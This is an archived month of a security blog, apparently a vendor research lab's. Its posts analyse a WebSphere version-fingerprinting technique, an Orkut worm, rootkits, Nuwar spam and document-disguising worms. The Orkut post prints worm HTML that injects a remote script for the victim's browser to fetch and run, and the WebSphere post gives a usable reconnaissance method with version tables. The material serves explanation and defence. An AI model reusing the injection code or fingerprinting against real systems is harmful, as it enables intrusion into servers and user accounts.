Archive for December, 2007

The importance of filtering error messages

When scanning machines for vulnerabilities, version information is one of the most common pieces of information to rely on. If you know the version of the OS or installed software, you know what that machine is vulnerable to. This is trivial when scanning with an authenticated connection. But if authentication is not an option, other less obvious means are needed.

Using the IBM Websphere Application Server for this example (I could have used any number of applications), I found that different releases of version 6.0 and 6.1 throw almost the same exceptions. For example, after requesting a non-existent .jsp page “/non-exist-ibmwas-0123456789.jsp”, IBM Websphere 6.0 returned:

The errors appear to give a line number in the source code. Making the same request (one fixed length url during the scanning) against different versions returned similar errors, but with different line numbers.

I selected 17 exception points to compare the error code line numbers in different releases of Websphere 6.0:

com.ibm.ws.jsp.webcontainerext.JSPExtensionProcessor.findWrapper
(JSPExtensionProcessor.java:
com.ibm.ws.jsp.webcontainerext.JSPExtensionProcessor.handleRequest
(JSPExtensionProcessor.java:
com.ibm.ws.webcontainer.webapp.WebApp.handleRequest
(WebApp.java:
com.ibm.ws.webcontainer.webapp.WebGroup.handleRequest
(WebGroup.java:
com.ibm.ws.webcontainer.VirtualHost.handleRequest
(VirtualHost.java:
com.ibm.ws.webcontainer.WebContainer.handleRequest
(WebContainer.java:
com.ibm.ws.webcontainer.channel.WCChannelLink.ready
(WCChannelLink.java:
com.ibm.ws.http.channel.inbound.impl.HttpInboundLink.handleDiscrimination
(HttpInboundLink.java:
com.ibm.ws.http.channel.inbound.impl.HttpInboundLink.handleNewInformation
(HttpInboundLink.java:
com.ibm.ws.http.channel.inbound.impl.HttpInboundLink.ready
(HttpInboundLink.java:
com.ibm.ws.tcp.channel.impl.NewConnectionInitialReadCallback.sendToDiscriminaters
(NewConnectionInitialReadCallback.java:
com.ibm.ws.tcp.channel.impl.NewConnectionInitialReadCallback.complete
(NewConnectionInitialReadCallback.java:
com.ibm.ws.tcp.channel.impl.WorkQueueManager.requestComplete
(WorkQueueManager.java:
com.ibm.ws.tcp.channel.impl.WorkQueueManager.attemptIO
(WorkQueueManager.java:
com.ibm.ws.tcp.channel.impl.WorkQueueManager.workerRun
(WorkQueueManager.java:
com.ibm.ws.tcp.channel.impl.WorkQueueManager$Worker.run
(WorkQueueManager.java:
com.ibm.ws.util.ThreadPool$Worker.run
(ThreadPool.java:

The table below shows the error line numbers generated by the different releases.

6.0.0.0:
246, 228, 2841, 220, 204, 1681, 77, 421, 367, 276,
201, 103, 548, 601, 934, 1021, 1332
6.0.0.2:
246, 228, 2841, 220, 204, 1681, 77, 465, 404, 282,
201, 103, 548, 601, 934, 1021, 1332
6.0.0.3:
251, 233, 2841, 220, 204, 1700, 77, 466, 405, 283,
201, 103, 555, 608, 941, 1028, 1332
6.0.1.0:
266, 248, 2872, 220, 204, 1779, 77, 466, 405, 283,
201, 103, 555, 608, 941, 1028, 1394
6.0.1.2:
266, 248, 2872, 220, 204, 1806, 77, 466, 405, 283,
201, 103, 555, 608, 941, 1028, 1394
6.0.2.0:
257, 239, 2905, 220, 204, 1829, 84, 469, 408, 286,
201, 103, 566, 619, 952, 1039, 1455
6.0.2.1:
257, 239, 2905, 220, 204, 1829, 84, 469, 408, 286,
201, 103, 566, 619, 952, 1039, 1455
6.0.2.3:
257, 239, 2916, 220, 204, 1831, 84, 469, 408, 286,
201, 103, 566, 619, 952, 1039, 1455
6.0.2.5:
257, 239, 2933, 221, 210, 1912, 84, 472, 411, 288,
201, 103, 566, 619, 952, 1039, 1462
6.0.2.7:
268, 250, 2954, 221, 210, 1912, 84, 472, 411, 288,
207, 109, 566, 619, 952, 1039, 1469
6.0.2.9:
268, 250, 2965, 221, 210, 1931, 84, 472, 411, 288,
207, 109, 566, 619, 952, 1039, 1470
6.0.2.11:
268, 250, 3003, 221, 210, 1958, 88, 472, 411, 288,
207, 109, 566, 619, 952, 1039, 1470
6.0.2.13:
268, 250, 3004, 221, 210, 1958, 89, 472, 411, 288,
207, 109, 566, 619, 952, 1039, 1471
6.0.2.15:
270, 252, 3071, 236, 210, 1958, 89, 472, 411, 288,
207, 109, 566, 619, 952, 1039, 1471
6.0.2.17:
270, 252, 3071, 236, 210, 1958, 98, 472, 411, 288,
207, 109, 566, 619, 952, 1039, 1471
6.0.2.19:
270, 252, 3146, 250, 212, 1958, 112, 472, 411, 288,
207, 109, 566, 619, 952, 1039, 1471
6.0.2.21:
271, 253, 3174, 253, 229, 1970, 114, 472, 411, 288,
207, 109, 566, 619, 952, 1039, 1471

As you can see, most line numbers increase (don’t decrease, actually) as the release number increases.

Using the line number list of older releases as the baselines, if one line number in the newer release is bigger than in the old release, I add 1. If less, I subtract 1. The result is shown below:

6.0.0.0 0 baseline
6.0.0.2 3

6.0.0.2 0 baseline
6.0.0.3 10

6.0.0.3 0 baseline
6.0.1.0 5

6.0.1.0 0 baseline
6.0.1.2 1

6.0.1.2 0 baseline
6.0.2.0 9

6.0.2.0 0 baseline
6.0.2.1 0 - no difference, can’t recognize the releases

6.0.2.1 0 baseline
6.0.2.3 2

6.0.2.3 0 baseline
6.0.2.5 7

6.0.2.5 0 baseline
6.0.2.7 6

6.0.2.7 0 baseline
6.0.2.9 3

6.0.2.9 0 baseline
6.0.2.11 3

6.0.2.11 0 baseline
6.0.2.13 3

6.0.2.13 0 baseline
6.0.2.15 4

6.0.2.15 0 baseline
6.0.2.17 1

6.0.2.17 0 baseline
6.0.2.19 4

6.0.2.19 0 baseline
6.0.2.21 7

So now all it takes to determine the specific release of an IBM Websphere server is to make the same request for a page that we know doesn’t exist, compare the returned line number list to the array of known releases and line number lists. And in theory, when we encounter an unknown release (one that’s not in our list of releases), we can use the add/subtract method to know which release it is below and which release it is higher than.

You can see why it’s important to filter error information web servers return to users. Detailed error messages leak many types of useful information to attackers, such debug messages (stack traces information here) should never be presented to users by production application servers. It should return some generic error information if something unexpected occurs. If applications are designed to return some application generated error messages, it will be more difficult to attacker to stage a further attack.Š

Exploit-TaroDrop.d - Cyber Espionage in Reality

Last Thursday, McAfee Avert Labs picked up another zero-day vulnerability targeting the JustSystems Ichitaro office application in the wild, the fourth since August 2006. Targeted attacks were directed at multiple enterprise and government users of Ichitaro in Japan, using two versions of a maliciously crafted Ichitaro document. Both exploits install the same BackDoor-DLI Trojan payload.

Now, Ichitaro, unlike Microsoft and being a local application, is not a popular area of interest among vulnerability researchers. The most high-profile vulnerabilities reported in 2007 would most likely be Internet Explorer and popular image and media players (e.g., QuickTime RTSP vulnerability, Exploit-AniFile.c–both with high success rates in the wild). In fact, Ichitaro caught the eye of vulnerability research labs only following a series of zero-day attacks. Prior to Exploit-TaroDrop.d, the most recent incident, in August 2007, was followed by the first three vulnerabilities publicized by a commercial research lab (http://www.ipa.go.jp/security/vuln/200710_Ichitaro.html), which was promptly followed up by the vendor with the latest security patches.

Notably, the bad guys did not leverage the reported vulnerabilities in the latest attacks. Instead, they fueled the attack with their own zero-day vulnerability, which was unknown to the world prior to the attack. Not following the herd, they did not use a Microsoft or QuickTime vulnerability. Their objectives are clear: only specific targets, and using specific exploits against the weakest links available, not what is popular.

The latest security patch for Exploit-TaroDrop.d was already released from the vendor on last Friday.

Botnets Jump the Shark

Once upon a time, a “botnet” was a network of infected computers controlled from a central command and control (C&C) channel. This was a very clear, simple definition.

Cut to early 2007, after the release of Nuwar, a.k.a. the Storm Worm. Suddenly the term botnet had to account for things that were not controlled by a central C&C but managed by a hydra-headed control network. There was no longer a single head to be cut off to kill a botnet; now a network had several heads, which could be replaced as quickly as one was removed. The definition of botnet broadened to describe only the network of infected computers, exclusive of having a central C&C.

Now the term has broadened again, to include any functionality used by a botnet, including things such as password stealing and sending phishing emails or spam. The FBI warns that botnets “threaten online-shopper security,” but it seems to me they’re really warning against an increase in the prevalence and sophistication of Internet crime that is facilitated by botnets.

So I direct this discussion to you, dear reader: Has the definition of botnet become so watered down that it loses any meaning? If so, do we need to find some new term to replace what used to specify a distinct group of malware? Or do we need to broaden our warnings to include all crimeware–including botnets, password stealers, remote-access Trojans, phishing, and spam?

Phishing for Convenience on Facebook

We often talk about the trade-offs between security and convenience, especially as it pertains to Web 2.0.  Much of the technologies utilized by Web 2.0 sites were built for collaboration and a rich user experience, which has really fueled the explosion of social networking sites like MySpace, Facebook, and others.  Today I bit the bullet and created a Facebook account, only to observe a prime example of security taking a backseat to convenience.  Here I’m not criticizing the security of Facebook’s servers or applications so much as the expectation the site is establishing with its user base.  The pages in the screenshots below are served over a secure HTTPS connection, but the information Facebook is asking for is what you’d expect to find in a typical phishing attack.

The page in question is https://register.facebook.com/findfriends.php.  When navigating to this page without logging in, it appears as follows:

This page is tame compared with the version you get once you’ve logged in:

To recap, for your convenience, Facebook is allowing you to enter in the following information:

• Email username and password
• AOL Instant Messenger username and password

The site also asks you to click “Yes” when prompted to display “nonsecure items” so that you can the download and execute an application named “facebook.exe” (from an insecure site), so that the program can then harvest your Outlook contacts and upload them to their server.

I’m not suggesting that Facebook has anything other than good intentions here, but training users to handover confidential information for a little convenience is not a good thing.

P.S.  The CAPTCHA is real.

Orkut spam worm spotted!

I analyzed some suspicious scrap “2008 vem ai… que ele comece mto bem para vc” from a bunch of friends on Orkut. For a while it was all over Orkut!! Translated to English, it reads “2008 is coming…I wish that it begins quite well for you”.

The HTML source of the scrapbook gives:

script type=”text/javascript” var flashWriter = new _SWFObject(’http://www.orkut.com/LoL.aspx’, ‘408030725′, ‘1′, ‘1′, ‘9′, ‘#FFFFFF’,
‘autohigh’, ”, ”, ‘408030725′);
flashWriter._addParam(’wmode’, ‘transparent’);
script=document.createElement(’script’);
script.src=’http://files.[REMOVED].com/virusdoorkut/files/virus.js’;
document.getElementsByTagName(’head’)[0].appendChild(script);
escape(”); flashWriter._addParam(’allowNetworking’, ‘internal’);
flashWriter._addParam(’allowScriptAccess’, ‘never’);
flashWriter._setAttribute(’style’, ”);
flashWriter._write(’flashDiv408030725′);
/script

When an Orkut user receives this malicious scrap, the browser downloads and executes the embedded virus.js script. It seems to do at least 2 things (it’s obfuscated and compacted, and I am writing this without any detailed analysis of the script so far) - scrap your friends with the same virulent message, and add your account to an Orkut community “Infectados pelo Vírus do Orkut” (”Infected by Orkut Virus” in English) created by the script author:

http://www.orkut.com/Community.aspx?cmm=44001818

A more detailed review of W32/KutWormer can be found in the Avert Labs Threat Library here.

As of the time of this writing, it had about 400,000 members (victims of this spam-worm). Apart from this, the worm doesn’t seem to affect your machine in any way. As I am writing this blog, I have seen the scraps disappearing so it looks like Orkut/Google are fighting back.

This clearly illustrates the issue with allowing rich-content on social/professional networking sites, and not sanitizing it enough. The ability to add Flash/Javascript content to Orkut scraps was only recently introduced.

Rootkits in China Part 1

The term “rootkit” was originally used to refer to toolkits used by root privileged users. This definition has evolved over time. Nowadays, the term rootkit refers to backdoor programs that run with elevated privileges and that are designed to evade detection by users, administrators and rootkit detection software. Rootkits first appeared in China in 2001 and have evolved substantially since then.

These days most rootkits are installed through exploitation of web browser vulnerabilities or from the infection of viruses and worms. In some cases, rootkits are bundled with images that exploit image library flaws to gain access to systems. In other cases, exploits for previously unknown vulnerabilities (zero-day) are placed on web sites and used to hack browsers and install rootkits. For example, exploits for the zero-day vulnerability identified by CVE-2007-0038 were found on many Chinese websites several months before a patch was released. In other cases, popular websites and public forums are hacked. Their content is then modified to include exploits that install rootkits on to user systems. Often, attackers exploit script injection vulnerabilities to gain access to these web sites. They then upload exploits for known issues like MS06-001, MS06-014, MS06-055, MS07-017, Baofeng ActiveX vulnerability, RealPlayer ActiveX vulnerability and so on. In China, many rootkits also spread via malware that targets a popular IM client named QQ. Once a QQ user’s machine has been compromised by a rootkit, it will send messages containing links to malicious websites to all of the friends of the affected QQ user. If these users click the links, they too will be targeted. This method of propagation is widespread and difficult to defend against. Another technique used to spread rootkits includes the addition of malicious programs to pirated software like Windows, Photoshop, Office, etc. People who download and install these pirated programs are infected by the rootkits bundled with them. Since pirated software is popular in China, many machines are infected this way.

Stay tuned for Part 2…..

References:

Rootkit Paper 1
Rootkit Paper 2

Merry Christmas, Nuwar Style

With Christmas upon us, the bad guys behind Nuwar (a.k.a. Storm Worm) couldn’t miss the opportunity. Here is an example of an e-mail you may receive:

 

If you follow the link (please, don’t!), you’ll be greeted like this:

 

By this time, of course, a not adequately protected computer would already be infected by Nuwar through a mixture of exploits. And if that doesn’t work, Nuwar authors always leave a chance for a gullible user to click on the image and get infected by the downloaded executable.

… and a Happy Nuwar!

Continuing to capitalize on the holiday season theme, Nuwar is up to a new trick.  Or rather a new old e-card trick. You may receive a New Year greeting E-mail like this:

 

And if you follow the link (don’t) it currently takes you to a no-frills download-and-infect-your-computer-yourself Web page:

Needless to say, your New Year isn’t going to be that happy if you follow the instructions.

Couriers- “You are the weakest link!”

Tis the season to be greedy –at least that’s what a couple of New York City thieves thought the other night when they stole an entire 18-wheeler FedEx truck containing somewhere around $1M in valuables. What might go overlooked is the priceless corporate data that could possibly be on that truck as well. We constantly rely on couriers such as FedEx to securely ship all of our “data at rest-in transport”, but what measures are they taking to actually ensure those assumptions? If the breach blog has taught us anything, it’s that not enough companies are encrypting their laptop hard drives, backup tapes, etc… and these types of attacks are still serious risks to our data.

As a security consultant, I repeatedly see and hear about these things going overlooked. From boxes labeled “Iron Mountain” sitting on empty loading docks, to Dell boxes waiting in the vacant hallways of shared office buildings, companies are constantly putting their data at risk at pickup and drop off areas. And I’m actually surprised we don’t see this more often, now even not-so-tech thieves can cash in on the action with these physical attacks. So what do we do? Require all couriers to upgrade to armor cars? Or maybe just spend the time and money now to upgrade your security policy and encrypt all data out of your control!

Morphing (Your Own) Documents into 2008

For a long time, we have seen worms masquerading as media and document files (commonly targeting MS Word), movies or folder icons. This is an old skool tactic that remains very popular in South East Asia, often seen in the Indonesian-origin W32/Rontokbro family. They often used file names associated with pornography or news headlines enticing users into opening them, but nonetheless, they still seem “new” and should raise an alarm for vigilant users. Now, what if they are _your own_ documents?

Over the last few months, we have been following a series of worms that take a more subtle approach to deceive users into clicking on the malware. The W32/Autorun.worm.i.gen worm, better known for its aggressive propagation via removable media using a AUTORUN.INF file, has a darker side less known to its victims, and most researchers.

This series of worms subtly infects MS Word files by prepending itself to the document and changing the file extension from “.doc” to “.exe”, essentially morphing it into a Windows executable file. The meticulous malware authors modifies the Windows registry to enable file extension hiding so users do not see the “.exe” extension - only the original filename along with Windows’s helpful file type description of “Microsoft Word Document”. A video speaks louder than a picture:

Did you notice any change in appearance? When clicking on the infected files, the worm drops the original document file and opens it in MS Word while its malicious payload executes in the background. The most apparent hint shows in the increase in file size. For expert Windows users, they might notice the hidden file extensions.

What next? It is not a technically sophisticated method, and could well be applied to movie, music, HTML and other media files. It is however, known to us, that document and media files should never be executable. As a quick preventive measure, an Access Protection Rule such as preventing “My Documents” or “My Videos” from executing files is VERY proactive. On Unix-based systems, the same method to mount /tmp as non-executable to prevent bad ELF files from executing via web remote exploits can be applied similarly to user home and document folders:

  • # mount -o remount,noexec /home